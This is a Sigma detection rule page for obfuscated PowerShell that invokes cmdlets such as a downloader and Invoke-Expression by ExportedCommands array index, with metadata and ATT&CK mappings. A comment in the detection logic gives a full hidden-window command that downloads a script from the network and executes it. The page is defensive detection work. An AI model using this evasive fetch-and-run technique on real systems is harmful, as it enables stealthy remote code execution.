Detectionhighexperimental

PowerShell Dynamic Module Invocation Via ExportedCommands Array Index

Detects PowerShell processes invoked with obfuscated command lines that enumerate Microsoft.PowerShell.Utility exported commands and invoke cmdlets indirectly by array index. This technique is used to evade detections that look for explicit strings such as Invoke-RestMethod or Invoke-Expression.

Convert In Phoenix Studio

Open this Sigma rule in the converter with the YAML preloaded and ready for backend selection.

Launch

Norbert Jaśniewicz (AlphaSOC), Swachchhanda Shrawan Poudel (Nextron Systems)Created Tue Oct 060c3ebe9f-df09-4e00-be0f-73d4ca8d62f6windows

Log Source

WindowsProcess Creation

ProductWindows← raw: windows

CategoryProcess Creation← raw: process_creation

Events generated when a new process is spawned on the system. Covers command-line arguments, parent/child relationships, and process metadata.

Detection Logic

detection:
    # powershell.exe -NoP -W Hidden -C "$kp=12;$sEzg=32;$cSX=((Get-Module -ListAvailable 'Microsoft.PowerShell.Utility')).ExportedCommands.Values;$cSX=$cSX.Name;& $cSX[$kp] 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1' -OutFile C:\Temp\maldoc.ps1;$qJgm=$cSX[$sEzg];& $qJgm (Get-Content C:\Temp\maldoc.ps1 -Raw)"
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'powershell.exe'
              - 'pwsh.dll'
    selection_module_export_enum:
        CommandLine|contains:
            - 'Get-Module '
            - 'gmo '
        CommandLine|contains|all:
            - 'ListAvailable'
            - 'Microsoft.PowerShell.Utility'
            - 'ExportedCommands'
            - 'Values'
    selection_index_used:
        CommandLine|contains: '[*]'
    condition: all of selection_*

False Positives

Legitimate use of exported commands array indexing during PowerShell command execution (should be rare)

References

Resolving title…

linkedin.com

Testing & Validation

Regression Tests

by Swachchhanda Shrawan Poudel (Nextron Systems)

Positive Detection Test1 matchevtx

Microsoft-Windows-Sysmon

EVTX JSON

MITRE ATT&CK

Tactics

TA0002 · Execution TA0005 · Stealth

Sub-techniques

T1027.010 · Command Obfuscation T1059.001 · PowerShell

Related Rules

SimilarDetectionmedium

PowerShell Dynamic Module Invocation Via ExportedCommands Array Index - PS Script

Detects obfuscated PowerShell scripts that enumerate Microsoft.PowerShell.Utility exported commands and invoke cmdlets indirectly by array index. This can be used to evade detections that look for explicit strings such as Invoke-RestMethod or Invoke-Expression.

Detects similar activity. Both rules may fire on overlapping events.

Rule Metadata

Rule ID

0c3ebe9f-df09-4e00-be0f-73d4ca8d62f6

Status

experimental

Level

high

Type

Detection

Created

Tue Oct 06

Author

Norbert Jaśniewicz (AlphaSOC), Swachchhanda Shrawan Poudel (Nextron Systems)

Path

rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index.yml

Raw Tags

attack.executionattack.stealthattack.t1027.010attack.t1059.001

View on GitHub